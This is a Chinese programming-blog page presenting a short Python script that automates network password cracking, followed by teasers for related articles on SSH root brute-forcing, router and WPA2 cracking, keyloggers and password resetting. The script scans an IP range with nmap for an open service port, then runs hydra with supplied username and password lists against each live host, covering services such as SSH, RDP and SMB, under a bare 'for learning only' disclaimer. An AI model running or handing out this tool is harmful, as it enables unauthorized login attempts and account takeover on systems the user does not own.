Python破解协议密码

程序仅供学习。

 1 #!/usr/bin/python
 2 import os
 3 import time
 4 ip=raw_input("Enter the ip,example:  192.168.1.0-254:\n")
 5 service = raw_input("Enter the Service port Supported services: asterisk afp cisco cisco-enable cvs firebird ftp ftps http[s]-{head|get} http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] mssql mysql ncp nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres rdp rexec rlogin rsh s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp: \n")
 6 port=raw_input("Enter the Service port Example: rdp:3389 smb:445....:  \n")
 7 userfile=raw_input("Enter the username file path: Example: /etc/username.txt \n")
 8 psfile =raw_input("Enter the password file path,Example: /etc/passwd.txt: \n")
 9 os.system("touch 1.txt")
10 b=open("1.txt","w")
11 os.system("nmap -T4 -p%s %s -v |grep Discovered |awk ‘{print$6}‘ >1.txt"%(port,ip))
12 b.close()
13 b = open("1.txt","r")
14 for str in b:
15     str=str.rstrip()
16     print   os.system("hydra -4 %s://%s  -L %s  -P %s >2.txt"%(service,str,userfile,psfile))
17     time.sleep(5)
18 os.system("cat 2.txt|grep password")
19 b.close()

Python破解协议密码,布布扣,bubuko.com

时间: 2024-11-02 23:35:54

Python破解协议密码的相关文章

python暴力破解root密码

环境准备:     1.安装paramiko模块     2.服务器ssh服务开启22号端口             下面请看代码 #!/usr/bin/py #-*- coding: utf-8 -*- import paramiko ssh = paramiko.SSHClient() #实例化类 ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) #连接时自动回答为yes d = file('/root/a.txt') #字典

关于破解路由器密码

http://daily.zhihu.com/story/3603866?utm_campaign=in_app_share&utm_medium=Android 先看看上面的那个文章 ------------ Evi1m0大牛破解了路由器的连接密码之后,又破解了路由器的管理登陆密码,这个过程就是一笔带过,在这里详细的说一下. 首先说什么是http basic认证 在HTTP协议进行通信的过程中,HTTP协议定义了基本认证过程以允许HTTP服务器对WEB浏览器进行用户身份证的方法,当一个客户端向

黑客破解网络密码的10种方法

破解网络密码—暴力穷举  密码破解技术中最基本的就是暴力破解,也叫密码穷举.如果黑客事先知道了账户号码,如邮件帐号.QQ用户帐号.网上银行账号等,而用户的密码又设置的十分简单,比如用简单的数字组合,黑客使用暴力破解工具很快就可以破解出密码来.因此用户要尽量将密码设置的复杂一些. 破解网络密码—击键记录 如果用户密码较为复杂,那么就难以使用暴力穷举的方式破解,这时黑客往往通过给用户安装木马病毒,设计“击键记录”程序,记录和监听用户的击键操作,然后通过各种方式将记录下来的用户击键内容传送给黑客,这样

用fail2ban防止黑客暴力破解服务器密码

简单来介绍一下fail2ban的功能和特性 1.支持大量服务.如sshd,apache,qmail,proftpd,sasl等等 2.支持多种动作.如iptables,tcp-wrapper,shorewall(iptables第三方工具),mail notifications(邮件通知)等等. 3.在logpath选项中支持通配符 4.需要Gamin支持(注:Gamin是用于监视文件和目录是否更改的服务工具) 5.需要安装python,iptables,tcp-wrapper,shorewal

十个常用破解网络密码的方法

zz:http://www.williamlong.info/archives/1264.html 个人网络密码安全是整个网络安全的一个重要环节,如果个人密码遭到黑客破解,将引起非常严重的后果,例如网络银行的存款被转账盗用,网络游戏内的装备或者财产被盗,QQ币被盗用等等,增强网民的网络安全意识是网络普及进程的一个重要环节,因此,在网民采取安全措施保护自己的网络密码之前,有必要了解一下流行的网络密码的破解方法,方能对症下药,以下是我总结的十个主要的网络密码破解方法. 1.暴力穷举 密码破解技术中最

jenkins配置邮件通知功能以及破解管理员密码

笔记内容:jenkins配置邮件通知功能以及破解管理员密码笔记日期:2018-02-27 26.6 jenkins邮件设置 26.7 插件email-ext 26.8 破解jenkins管理员密码 26.6 jenkins邮件设置 打开Jenkins的web页面,点击 系统管理 -> 系统设置 -> Jenkins Location ,先设置系统管理员邮件地址,这里的系统管理员邮件地址需要和后续要设置的发送邮件的地址一致: 然后再往下拉,找到 "邮件通知" 那一栏,填写SM

Aircrack除破解WiFi密码外的趣味玩法

Aircrack这种屌爆了的攻击测试套件在网上居然只有用它破解WiFi密码的教程,在这里我来扒个冷门,介绍下这款杀器的其他一些有趣的玩法. 0×00:首先你需要一张usb无线网卡 ifconfig查看可以正常识别,如果不行看这里. 0×01:干坏或者不坏的事情前先修改MAC ifconfig [INTERFACE] down#关闭网卡 #[INTERFACE]是指你的无线网卡,一般为wlan0,下不再说明 macchanger -m [MAC] [INTERFACE]#修改MAC,[MAC]是你

5分钟破解wpa2密码(转)

首先大家要明白一种数学运算,它叫做哈希算法(hash),这是一种不可逆运算,你不能通过运算结果来求解出原来的未知数是多少,有时我们还需要不同的未知数通过该算法计算后得到的结果不能相同,即你不太可能找到两个不同的值通过哈希得到同一个结果.哈希是一类算法的统称,通常哈希算法都是公开的,比如MD5,SHA-1等等.我们平时说的WPA密码其实叫PSK(pre-shared key),长度一般是8-63字节,它加上ssid通过一定的算法可以得到PMK(pairwise master key).PMK=SH

Linux破解root密码

sudo用户管理 分配方法:-sudo 权力分配主要通过在配置文件/etc/sudoers按照约定格式添加一行信息 用户名    主机名  = (运行用户名) 可运行的命令 例1. smb ALL = (ALL) /usr/sbin/useradd 例2. smb ALL = (ALL) NOPASSWD: /usr/sbin/useradd 破解root密码 破解步骤 在系统启动时进入grub选择项菜单 在grub选项菜单按e进入编辑模式 编辑kernel那行添加/init/ 按b重启 进入系